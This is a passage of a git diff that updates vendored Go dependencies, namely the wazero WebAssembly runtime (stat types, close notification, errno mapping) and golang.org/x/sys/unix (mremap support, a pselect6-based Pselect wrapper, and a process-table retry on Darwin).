syscall.ENAMETOOLONG: + case sys.ENAMETOOLONG: return ErrnoNametoolong - case syscall.ENOENT: + case sys.ENOENT: return ErrnoNoent - case syscall.ENOSYS: + case sys.ENOSYS: return ErrnoNosys - case syscall.ENOTDIR: + case sys.ENOTDIR: return ErrnoNotdir - case syscall.ENOTEMPTY: + case sys.ENOTEMPTY: return ErrnoNotempty - case syscall.ENOTSOCK: + case sys.ENOTSOCK: return ErrnoNotsock - case syscall.ENOTSUP: + case sys.ENOTSUP: return ErrnoNotsup - case syscall.EPERM: + case sys.EPERM: return ErrnoPerm - case syscall.EROFS: + case sys.EROFS: return ErrnoRofs default: return ErrnoIo diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasip1/rights.go b/vendor/github.com/tetratelabs/wazero/internal/wasip1/rights.go index 3b6919cf07..2ab56c6041 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasip1/rights.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasip1/rights.go @@ -41,7 +41,7 @@ const ( RIGHT_PATH_CREATE_DIRECTORY // RIGHT_PATH_CREATE_FILE when RIGHT_PATH_OPEN is set, the right to invoke - // path_open with O_CREATE. + // path_open with O_CREAT. RIGHT_PATH_CREATE_FILE // RIGHT_PATH_LINK_SOURCE is the right to invoke path_link with the file diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/module_instance.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/module_instance.go index 20cdcd96ac..3e2e21dcd9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/module_instance.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/module_instance.go @@ -106,6 +106,11 @@ func (m *ModuleInstance) CloseWithExitCode(ctx context.Context, exitCode uint32) return m.ensureResourcesClosed(ctx) } +// IsClosed implements the same method as documented on api.Module. +func (m *ModuleInstance) IsClosed() bool { + return atomic.LoadUint64(&m.Closed) != 0 +} + func (m *ModuleInstance) closeWithExitCodeWithoutClosingResource(exitCode uint32) (err error) { if !m.setExitCode(exitCode, exitCodeFlagResourceNotClosed) { return nil // not an error to have already closed @@ -139,8 +144,14 @@ func (m *ModuleInstance) setExitCode(exitCode uint32, flag exitCodeFlag) bool { } // ensureResourcesClosed ensures that resources assigned to ModuleInstance is released. -// Multiple calls to this function is safe. +// Only one call will happen per module, due to external atomic guards on Closed. func (m *ModuleInstance) ensureResourcesClosed(ctx context.Context) (err error) { + if closeNotifier := m.CloseNotifier; closeNotifier != nil { // experimental + closed := atomic.LoadUint64(&m.Closed) + closeNotifier.CloseNotify(ctx, uint32(closed>>32)) + m.CloseNotifier = nil + } + if sysCtx := m.Sys; sysCtx != nil { // nil if from HostModuleBuilder if err = sysCtx.FS().Close(); err != nil { return err diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/store.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/store.go index 70af5e6fa0..e853d7fa48 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/store.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/store.go @@ -7,6 +7,7 @@ import ( "sync" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/internal/close" "github.com/tetratelabs/wazero/internal/internalapi" "github.com/tetratelabs/wazero/internal/leb128" internalsys "github.com/tetratelabs/wazero/internal/sys" @@ -124,6 +125,9 @@ type ( prev, next *ModuleInstance // Source is a pointer to the Module from which this ModuleInstance derives. Source *Module + + // CloseNotifier is an experimental hook called once on close. + CloseNotifier close.Notifier } // DataInstance holds bytes corresponding to the data segment in a module. diff --git a/vendor/github.com/tetratelabs/wazero/netlify.toml b/vendor/github.com/tetratelabs/wazero/netlify.toml index 6c4751a153..1ba638bfe9 100644 --- a/vendor/github.com/tetratelabs/wazero/netlify.toml +++ b/vendor/github.com/tetratelabs/wazero/netlify.toml @@ -3,7 +3,7 @@ publish = "public" [build.environment] - HUGO_VERSION = "0.112.5" + HUGO_VERSION = "0.115.2" [context.production] command = "git submodule update --init && hugo --gc --minify" diff --git a/vendor/github.com/tetratelabs/wazero/runtime.go b/vendor/github.com/tetratelabs/wazero/runtime.go index 0a944175e1..70c63cdaa6 100644 --- a/vendor/github.com/tetratelabs/wazero/runtime.go +++ b/vendor/github.com/tetratelabs/wazero/runtime.go @@ -7,6 +7,7 @@ import ( "github.com/tetratelabs/wazero/api" experimentalapi "github.com/tetratelabs/wazero/experimental" + internalclose "github.com/tetratelabs/wazero/internal/close" internalsock "github.com/tetratelabs/wazero/internal/sock" internalsys "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/internal/wasm" @@ -31,7 +32,8 @@ import ( // - Closing this closes any CompiledModule or Module it instantiated. type Runtime interface { // Instantiate instantiates a module from the WebAssembly binary (%.wasm) - // with default configuration. + // with default configuration, which notably calls the "_start" function, + // if it exists. // // Here's an example: // ctx := context.Background() @@ -291,8 +293,7 @@ func (r *runtime) InstantiateModule( code := compiled.(*compiledModule) config := mConfig.(*moduleConfig) - // Only build listeners on a guest module. A host module doesn't have - // memory, and a guest without memory can't use listeners anyway. + // Only add guest module configuration to guests. if !code.module.IsHostModule { if sockConfig, ok := ctx.Value(internalsock.ConfigKey{}).(*internalsock.Config); ok { config.sockConfig = sockConfig @@ -319,7 +320,12 @@ func (r *runtime) InstantiateModule( return } - // Attach the code closer so that anything afterwards closes the compiled code when closing the module. + if closeNotifier, ok := ctx.Value(internalclose.NotifierKey{}).(internalclose.Notifier); ok { + mod.(*wasm.ModuleInstance).CloseNotifier = closeNotifier + } + + // Attach the code closer so that anything afterward closes the compiled + // code when closing the module. if code.closeWithModule { mod.(*wasm.ModuleInstance).CodeCloser = code } diff --git a/vendor/github.com/tetratelabs/wazero/sys/stat.go b/vendor/github.com/tetratelabs/wazero/sys/stat.go new file mode 100644 index 0000000000..bb7b9e5d33 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/sys/stat.go @@ -0,0 +1,107 @@ +package sys + +import "io/fs" + +// Inode is the file serial number, or zero if unknown. +// +// Any constant value will invalidate functions that use this for +// equivalence, such as os.SameFile (Stat_t.Ino). +// +// When zero is returned by a `readdir`, some compilers will attempt to +// get a non-zero value with `lstat`. Those using this for darwin's definition +// of `getdirentries` conflate zero `d_fileno` with a deleted file, so skip the +// entry. See /RATIONALE.md for more on this. +type Inode = uint64 + +// ^-- Inode is a type alias to consolidate documentation and aid in reference +// searches. While only Stat_t is exposed publicly at the moment, this is used +// internally for Dirent and several function return values. + +// EpochNanos is a timestamp in epoch nanoseconds, or zero if unknown. +// +// This defines epoch time the same way as Walltime, except this value is +// packed into an int64. Common conversions are detailed in the examples. +type EpochNanos = int64 + +// Stat_t is similar to syscall.Stat_t, except available on all operating +// systems, including Windows. +// +// # Notes +// +// - This is used for WebAssembly ABI emulating the POSIX `stat` system call. +// Fields included are required for WebAssembly ABI including wasip1 +// (a.k.a. wasix) and wasi-filesystem (a.k.a. wasip2). See +// https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html +// - Fields here are required for WebAssembly ABI including wasip1 +// (a.k.a. wasix) and wasi-filesystem (a.k.a. wasip2). +// - This isn't the same as syscall.Stat_t because wazero supports Windows, +// which doesn't have that type. runtime.GOOS that has this already also +// have inconsistent field lengths, which complicates wasm binding. +// - Use NewStat_t to create this from an existing fs.FileInfo. +// - For portability, numeric fields are 64-bit when at least one platform +// defines it that large. +type Stat_t struct { + // Dev is the device ID of device containing the file. + Dev uint64 + + // Ino is the file serial number, or zero if not available. See Inode for + // more details including impact returning a zero value. + Ino Inode + + // Mode is the same as Mode on fs.FileInfo containing bits to identify the + // type of the file (fs.ModeType) and its permissions (fs.ModePerm). + Mode fs.FileMode + + // Nlink is the number of hard links to the file. + // + // Note: This value is platform-specific and often at least one. Linux will + // return 1+N for a directory, where BSD (like Darwin) return 2+N, which + // includes the dot entry. + Nlink uint64 + + // Size is the length in bytes for regular files. For symbolic links, this + // is length in bytes of the pathname contained in the symbolic link. + Size int64 + + // Atim is the last data access timestamp in epoch nanoseconds. + Atim EpochNanos + + // Mtim is the last data modification timestamp in epoch nanoseconds. + Mtim EpochNanos + + // Ctim is the last file status change timestamp in epoch nanoseconds. + Ctim EpochNanos +} + +// NewStat_t fills a new Stat_t from `info`, including any runtime.GOOS-specific +// details from fs.FileInfo `Sys`. When `Sys` is already a *Stat_t, it is +// returned as-is. +// +// # Notes +// +// - When already in fs.FileInfo `Sys`, Stat_t must be a pointer. +// - When runtime.GOOS is "windows" Stat_t.Ino will be zero. +// - When fs.FileInfo `Sys` is nil or unknown, some fields not in fs.FileInfo +// are defaulted: Stat_t.Atim and Stat_t.Ctim are set to `ModTime`, and +// are set to ModTime and Stat_t.Nlink is set to 1. +func NewStat_t(info fs.FileInfo) Stat_t { + // Note: Pointer, not val, for parity with Go, which sets *syscall.Stat_t + if st, ok := info.Sys().(*Stat_t); ok { + return *st + } + return statFromFileInfo(info) +} + +func defaultStatFromFileInfo(info fs.FileInfo) Stat_t { + st := Stat_t{} + st.Ino = 0 + st.Dev = 0 + st.Mode = info.Mode() + st.Nlink = 1 + st.Size = info.Size() + mtim := info.ModTime().UnixNano() // Set all times to the mod time + st.Atim = mtim + st.Mtim = mtim + st.Ctim = mtim + return st +} diff --git a/vendor/github.com/tetratelabs/wazero/sys/stat_bsd.go b/vendor/github.com/tetratelabs/wazero/sys/stat_bsd.go new file mode 100644 index 0000000000..3bf9b5d143 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/sys/stat_bsd.go @@ -0,0 +1,29 @@ +//go:build (amd64 || arm64) && (darwin || freebsd) + +package sys + +import ( + "io/fs" + "syscall" +) + +const sysParseable = true + +func statFromFileInfo(info fs.FileInfo) Stat_t { + if d, ok := info.Sys().(*syscall.Stat_t); ok { + st := Stat_t{} + st.Dev = uint64(d.Dev) + st.Ino = d.Ino + st.Mode = info.Mode() + st.Nlink = uint64(d.Nlink) + st.Size = d.Size + atime := d.Atimespec + st.Atim = atime.Sec*1e9 + atime.Nsec + mtime := d.Mtimespec + st.Mtim = mtime.Sec*1e9 + mtime.Nsec + ctime := d.Ctimespec + st.Ctim = ctime.Sec*1e9 + ctime.Nsec + return st + } + return defaultStatFromFileInfo(info) +} diff --git a/vendor/github.com/tetratelabs/wazero/sys/stat_linux.go b/vendor/github.com/tetratelabs/wazero/sys/stat_linux.go new file mode 100644 index 0000000000..9b5e20e8d2 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/sys/stat_linux.go @@ -0,0 +1,32 @@ +//go:build (amd64 || arm64 || riscv64) && linux + +// Note: This expression is not the same as compiler support, even if it looks +// similar. Platform functions here are used in interpreter mode as well. + +package sys + +import ( + "io/fs" + "syscall" +) + +const sysParseable = true + +func statFromFileInfo(info fs.FileInfo) Stat_t { + if d, ok := info.Sys().(*syscall.Stat_t); ok { + st := Stat_t{} + st.Dev = uint64(d.Dev) + st.Ino = uint64(d.Ino) + st.Mode = info.Mode() + st.Nlink = uint64(d.Nlink) + st.Size = d.Size + atime := d.Atim + st.Atim = atime.Sec*1e9 + atime.Nsec + mtime := d.Mtim + st.Mtim = mtime.Sec*1e9 + mtime.Nsec + ctime := d.Ctim + st.Ctim = ctime.Sec*1e9 + ctime.Nsec + return st + } + return defaultStatFromFileInfo(info) +} diff --git a/vendor/github.com/tetratelabs/wazero/sys/stat_unsupported.go b/vendor/github.com/tetratelabs/wazero/sys/stat_unsupported.go new file mode 100644 index 0000000000..583c2adb04 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/sys/stat_unsupported.go @@ -0,0 +1,17 @@ +//go:build (!((amd64 || arm64 || riscv64) && linux) && !((amd64 || arm64) && (darwin || freebsd)) && !((amd64 || arm64) && windows)) || js + +package sys + +import "io/fs" + +// sysParseable is only used here as we define "supported" as being able to +// parse `info.Sys()`. The above `go:build` constraints exclude 32-bit until +// that's requested. +// +// TODO: When Go 1.21 is out, use the "unix" build constraint (as 1.21 makes +// our floor Go version 1.19. +const sysParseable = false + +func statFromFileInfo(info fs.FileInfo) Stat_t { + return defaultStatFromFileInfo(info) +} diff --git a/vendor/github.com/tetratelabs/wazero/sys/stat_windows.go b/vendor/github.com/tetratelabs/wazero/sys/stat_windows.go new file mode 100644 index 0000000000..1a7070f48a --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/sys/stat_windows.go @@ -0,0 +1,26 @@ +//go:build (amd64 || arm64) && windows + +package sys + +import ( + "io/fs" + "syscall" +) + +const sysParseable = true + +func statFromFileInfo(info fs.FileInfo) Stat_t { + if d, ok := info.Sys().(*syscall.Win32FileAttributeData); ok { + st := Stat_t{} + st.Ino = 0 // not in Win32FileAttributeData + st.Dev = 0 // not in Win32FileAttributeData + st.Mode = info.Mode() + st.Nlink = 1 // not in Win32FileAttributeData + st.Size = info.Size() + st.Atim = d.LastAccessTime.Nanoseconds() + st.Mtim = d.LastWriteTime.Nanoseconds() + st.Ctim = d.CreationTime.Nanoseconds() + return st + } + return defaultStatFromFileInfo(info) +} diff --git a/vendor/golang.org/x/sys/unix/mkerrors.sh b/vendor/golang.org/x/sys/unix/mkerrors.sh index 3156462715..8f775fafa6 100644 --- a/vendor/golang.org/x/sys/unix/mkerrors.sh +++ b/vendor/golang.org/x/sys/unix/mkerrors.sh @@ -519,7 +519,7 @@ ccflags="$@" $2 ~ /^LOCK_(SH|EX|NB|UN)$/ || $2 ~ /^LO_(KEY|NAME)_SIZE$/ || $2 ~ /^LOOP_(CLR|CTL|GET|SET)_/ || - $2 ~ /^(AF|SOCK|SO|SOL|IPPROTO|IP|IPV6|TCP|MCAST|EVFILT|NOTE|SHUT|PROT|MAP|MFD|T?PACKET|MSG|SCM|MCL|DT|MADV|PR|LOCAL|TCPOPT|UDP)_/ || + $2 ~ /^(AF|SOCK|SO|SOL|IPPROTO|IP|IPV6|TCP|MCAST|EVFILT|NOTE|SHUT|PROT|MAP|MREMAP|MFD|T?PACKET|MSG|SCM|MCL|DT|MADV|PR|LOCAL|TCPOPT|UDP)_/ || $2 ~ /^NFC_(GENL|PROTO|COMM|RF|SE|DIRECTION|LLCP|SOCKPROTO)_/ || $2 ~ /^NFC_.*_(MAX)?SIZE$/ || $2 ~ /^RAW_PAYLOAD_/ || @@ -624,7 +624,7 @@ ccflags="$@" $2 ~ /^MEM/ || $2 ~ /^WG/ || $2 ~ /^FIB_RULE_/ || - $2 ~ /^BLK[A-Z]*(GET$|SET$|BUF$|PART$|SIZE)/ {printf("\t%s = C.%s\n", $2, $2)} + $2 ~ /^BLK[A-Z]*(GET$|SET$|BUF$|PART$|SIZE|IOMIN$|IOOPT$|ALIGNOFF$|DISCARD|ROTATIONAL$|ZEROOUT$|GETDISKSEQ$)/ {printf("\t%s = C.%s\n", $2, $2)} $2 ~ /^__WCOREFLAG$/ {next} $2 ~ /^__W[A-Z0-9]+$/ {printf("\t%s = C.%s\n", substr($2,3), $2)} diff --git a/vendor/golang.org/x/sys/unix/mmap_nomremap.go b/vendor/golang.org/x/sys/unix/mmap_nomremap.go new file mode 100644 index 0000000000..ca0513632e --- /dev/null +++ b/vendor/golang.org/x/sys/unix/mmap_nomremap.go @@ -0,0 +1,14 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build aix || darwin || dragonfly || freebsd || openbsd || solaris +// +build aix darwin dragonfly freebsd openbsd solaris + +package unix + +var mapper = &mmapper{ + active: make(map[*byte][]byte), + mmap: mmap, + munmap: munmap, +} diff --git a/vendor/golang.org/x/sys/unix/mremap.go b/vendor/golang.org/x/sys/unix/mremap.go new file mode 100644 index 0000000000..fa93d0aa90 --- /dev/null +++ b/vendor/golang.org/x/sys/unix/mremap.go @@ -0,0 +1,53 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build linux || netbsd +// +build linux netbsd + +package unix + +import "unsafe" + +type mremapMmapper struct { + mmapper + mremap func(oldaddr uintptr, oldlength uintptr, newlength uintptr, flags int, newaddr uintptr) (xaddr uintptr, err error) +} + +var mapper = &mremapMmapper{ + mmapper: mmapper{ + active: make(map[*byte][]byte), + mmap: mmap, + munmap: munmap, + }, + mremap: mremap, +} + +func (m *mremapMmapper) Mremap(oldData []byte, newLength int, flags int) (data []byte, err error) { + if newLength <= 0 || len(oldData) == 0 || len(oldData) != cap(oldData) || flags&mremapFixed != 0 { + return nil, EINVAL + } + + pOld := &oldData[cap(oldData)-1] + m.Lock() + defer m.Unlock() + bOld := m.active[pOld] + if bOld == nil || &bOld[0] != &oldData[0] { + return nil, EINVAL + } + newAddr, errno := m.mremap(uintptr(unsafe.Pointer(&bOld[0])), uintptr(len(bOld)), uintptr(newLength), flags, 0) + if errno != nil { + return nil, errno + } + bNew := unsafe.Slice((*byte)(unsafe.Pointer(newAddr)), newLength) + pNew := &bNew[cap(bNew)-1] + if flags&mremapDontunmap == 0 { + delete(m.active, pOld) + } + m.active[pNew] = bNew + return bNew, nil +} + +func Mremap(oldData []byte, newLength int, flags int) (data []byte, err error) { + return mapper.Mremap(oldData, newLength, flags) +} diff --git a/vendor/golang.org/x/sys/unix/syscall_aix.go b/vendor/golang.org/x/sys/unix/syscall_aix.go index c406ae00f4..9a6e5acacb 100644 --- a/vendor/golang.org/x/sys/unix/syscall_aix.go +++ b/vendor/golang.org/x/sys/unix/syscall_aix.go @@ -535,21 +535,6 @@ func Fsync(fd int) error { //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error) = nsendmsg //sys munmap(addr uintptr, length uintptr) (err error) - -var mapper = &mmapper{ - active: make(map[*byte][]byte), - mmap: mmap, - munmap: munmap, -} - -func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { - return mapper.Mmap(fd, offset, length, prot, flags) -} - -func Munmap(b []byte) (err error) { - return mapper.Munmap(b) -} - //sys Madvise(b []byte, advice int) (err error) //sys Mprotect(b []byte, prot int) (err error) //sys Mlock(b []byte) (err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_bsd.go b/vendor/golang.org/x/sys/unix/syscall_bsd.go index 7705c3270b..4217de518b 100644 --- a/vendor/golang.org/x/sys/unix/syscall_bsd.go +++ b/vendor/golang.org/x/sys/unix/syscall_bsd.go @@ -601,20 +601,6 @@ func Poll(fds []PollFd, timeout int) (n int, err error) { // Gethostuuid(uuid *byte, timeout *Timespec) (err error) // Ptrace(req int, pid int, addr uintptr, data int) (ret uintptr, err error) -var mapper = &mmapper{ - active: make(map[*byte][]byte), - mmap: mmap, - munmap: munmap, -} - -func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { - return mapper.Mmap(fd, offset, length, prot, flags) -} - -func Munmap(b []byte) (err error) { - return mapper.Munmap(b) -} - //sys Madvise(b []byte, behav int) (err error) //sys Mlock(b []byte) (err error) //sys Mlockall(flags int) (err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin.go b/vendor/golang.org/x/sys/unix/syscall_darwin.go index 206921504c..135cc3cd75 100644 --- a/vendor/golang.org/x/sys/unix/syscall_darwin.go +++ b/vendor/golang.org/x/sys/unix/syscall_darwin.go @@ -510,30 +510,36 @@ func SysctlKinfoProcSlice(name string, args ...int) ([]KinfoProc, error) { return nil, err } - // Find size. - n := uintptr(0) - if err := sysctl(mib, nil, &n, nil, 0); err != nil { - return nil, err - } - if n == 0 { - return nil, nil - } - if n%SizeofKinfoProc != 0 { - return nil, fmt.Errorf("sysctl() returned a size of %d, which is not a multiple of %d", n, SizeofKinfoProc) - } + for { + // Find size. + n := uintptr(0) + if err := sysctl(mib, nil, &n, nil, 0); err != nil { + return nil, err + } + if n == 0 { + return nil, nil + } + if n%SizeofKinfoProc != 0 { + return nil, fmt.Errorf("sysctl() returned a size of %d, which is not a multiple of %d", n, SizeofKinfoProc) + } - // Read into buffer of that size. - buf := make([]KinfoProc, n/SizeofKinfoProc) - if err := sysctl(mib, (*byte)(unsafe.Pointer(&buf[0])), &n, nil, 0); err != nil { - return nil, err - } - if n%SizeofKinfoProc != 0 { - return nil, fmt.Errorf("sysctl() returned a size of %d, which is not a multiple of %d", n, SizeofKinfoProc) - } + // Read into buffer of that size. + buf := make([]KinfoProc, n/SizeofKinfoProc) + if err := sysctl(mib, (*byte)(unsafe.Pointer(&buf[0])), &n, nil, 0); err != nil { + if err == ENOMEM { + // Process table grew. Try again. + continue + } + return nil, err + } + if n%SizeofKinfoProc != 0 { + return nil, fmt.Errorf("sysctl() returned a size of %d, which is not a multiple of %d", n, SizeofKinfoProc) + } - // The actual call may return less than the original reported required - // size so ensure we deal with that. - return buf[:n/SizeofKinfoProc], nil + // The actual call may return less than the original reported required + // size so ensure we deal with that. + return buf[:n/SizeofKinfoProc], nil + } } //sys sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux.go b/vendor/golang.org/x/sys/unix/syscall_linux.go index 6de486befe..a730878e49 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux.go @@ -1885,7 +1885,7 @@ func Getpgrp() (pid int) { //sys PerfEventOpen(attr *PerfEventAttr, pid int, cpu int, groupFd int, flags int) (fd int, err error) //sys PivotRoot(newroot string, putold string) (err error) = SYS_PIVOT_ROOT //sys Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) -//sys Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) = SYS_PSELECT6 +//sys pselect6(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *sigset_argpack) (n int, err error) //sys read(fd int, p []byte) (n int, err error) //sys Removexattr(path string, attr string) (err error) //sys Renameat2(olddirfd int, oldpath string, newdirfd int, newpath string, flags uint) (err error) @@ -2124,21 +2124,7 @@ func writevRacedetect(iovecs []Iovec, n int) { // mmap varies by architecture; see syscall_linux_*.go. //sys munmap(addr uintptr, length uintptr) (err error) - -var mapper = &mmapper{ - active: make(map[*byte][]byte), - mmap: mmap, - munmap: munmap, -} - -func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { - return mapper.Mmap(fd, offset, length, prot, flags) -} - -func Munmap(b []byte) (err error) { - return mapper.Munmap(b) -} - +//sys mremap(oldaddr uintptr, oldlength uintptr, newlength uintptr, flags int, newaddr uintptr) (xaddr uintptr, err error) //sys Madvise(b []byte, advice int) (err error) //sys Mprotect(b []byte, prot int) (err error) //sys Mlock(b []byte) (err error) @@ -2147,6 +2133,12 @@ func Munmap(b []byte) (err error) { //sys Munlock(b []byte) (err error) //sys Munlockall() (err error) +const ( + mremapFixed = MREMAP_FIXED + mremapDontunmap = MREMAP_DONTUNMAP + mremapMaymove = MREMAP_MAYMOVE +) + // Vmsplice splices user pages from a slice of Iovecs into a pipe specified by fd, // using the specified flags. func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) { @@ -2446,6 +2438,39 @@ func Getresgid() (rgid, egid, sgid int) { return int(r), int(e), int(s) } +// Pselect is a wrapper around the Linux pselect6 system call. +// This version does not modify the timeout argument. +func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { + // Per https://man7.org/linux/man-pages/man2/select.2.html#NOTES, + // The Linux pselect6() system call modifies its timeout argument. + // [Not modifying the argument] is the behavior required by POSIX.1-2001. + var mutableTimeout *Timespec + if timeout != nil { + mutableTimeout = new(Timespec) + *mutableTimeout = *timeout + } + + // The final argument of the pselect6() system call is not a + // sigset_t * pointer, but is instead a structure + var kernelMask *sigset_argpack + if sigmask != nil { + wordBits := 32 << (^uintptr(0) >> 63) // see math.intSize + + // A sigset stores one bit per signal, + // offset by 1 (because signal 0 does not exist). + // So the number of words needed is ⌈__C_NSIG - 1 / wordBits⌉. + sigsetWords := (_C__NSIG - 1 + wordBits - 1) / (wordBits) + + sigsetBytes := uintptr(sigsetWords * (wordBits / 8)) + kernelMask = &sigset_argpack{ + ss: sigmask, + ssLen: sigsetBytes, + } + } + + return pselect6(nfd, r, w, e, mutableTimeout, kernelMask) +} + /* * Unimplemented */ @@ -2487,7 +2512,6 @@ func Getresgid() (rgid, egid, sgid int) { // MqTimedreceive // MqTimedsend // MqUnlink -// Mremap // Msgctl // Msgget // Msgrcv diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go b/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go index 5b21fcfd75..70601ce369 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go @@ -40,7 +40,7 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err if timeout != nil { ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000} } - return Pselect(nfd, r, w, e, ts, nil) + return pselect6(nfd, r, w, e, ts, nil) } //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go b/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go index a81f5742b8..f5266689af 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go @@ -33,7 +33,7 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err if timeout != nil { ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000} } - return Pselect(nfd, r, w, e, ts, nil) + return pselect6(nfd, r, w, e, ts, nil) } //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_loong64.go b/vendor/golang.org/x/sys/unix/syscall_linux_loong64.go index 69d2d7c3db..f6ab02ec15 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux_loong64.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux_loong64.go @@ -28,7 +28,7 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err if timeout != nil { ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000} } - return Pselect(nfd, r, w, e, ts, nil) + return pselect6(nfd, r, w, e, ts, nil) } //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go b/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go index 76d564095e..93fe59d25d 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go @@ -31,7 +31,7 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err if timeout != nil { ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000} } - return Pselect(nfd, r, w, e, ts, nil) + return pselect6(nfd, r, w, e, ts, nil) } //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go b/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go index 35851ef70b..5e6ceee129 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go @@ -32,7 +32,7 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err if timeout != nil { ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000} } - return Pselect(nfd, r, w, e, ts, nil) + return pselect6(nfd, r, w, e, ts, nil) } //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) @@ -177,3 +177,14 @@ func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error } return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags) } + +//sys riscvHWProbe(pairs []RISCVHWProbePairs, cpuCount uintptr, cpus *CPUSet, flags uint) (err error) + +func RISCVHWProbe(pairs []RISCVHWProbePairs, set *CPUSet, flags uint) (err error) { + var setSize uintptr + + if set != nil { + setSize = uintptr(unsafe.Sizeof(*set)) + } + return riscvHWProbe(pairs, setSize, set, flags) +} diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd.go b/vendor/golang.org/x/sys/unix/syscall_netbsd.go index 018d7d4782..ddd1ac8534 100644 --- a/vendor/golang.org/x/sys/unix/syscall_netbsd.go +++ b/vendor/golang.org/x/sys/unix/syscall_netbsd.go @@ -360,6 +360,18 @@ func Statvfs(path string, buf *Statvfs_t) (err error) { //sys writelen(fd int, buf *byte, nbuf int) (n int, err error) = SYS_WRITE //sys utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) +const ( + mremapFixed = MAP_FIXED + mremapDontunmap = 0 + mremapMaymove = 0 +) + +//sys mremapNetBSD(oldp uintptr, oldsize uintptr, newp uintptr, newsize uintptr, flags int) (xaddr uintptr, err error) = SYS_MREMAP + +func mremap(oldaddr uintptr, oldlength uintptr, newlength uintptr, flags int, newaddr uintptr) (uintptr, error) { + return mremapNetBSD(oldaddr, oldlength, newaddr, newlength, flags) +} + /* * Unimplemented */ @@ -564,7 +576,6 @@ func Statvfs(path string, buf *Statvfs_t) (err error) { // mq_timedreceive // mq_timedsend // mq_unlink -// mremap // msgget // msgrcv // msgsnd diff --git a/vendor/golang.org/x/sys/unix/syscall_solaris.go b/vendor/golang.org/x/sys/unix/syscall_solaris.go index b600a289d3..72d23575fa 100644 --- a/vendor/golang.org/x/sys/unix/syscall_solaris.go +++ 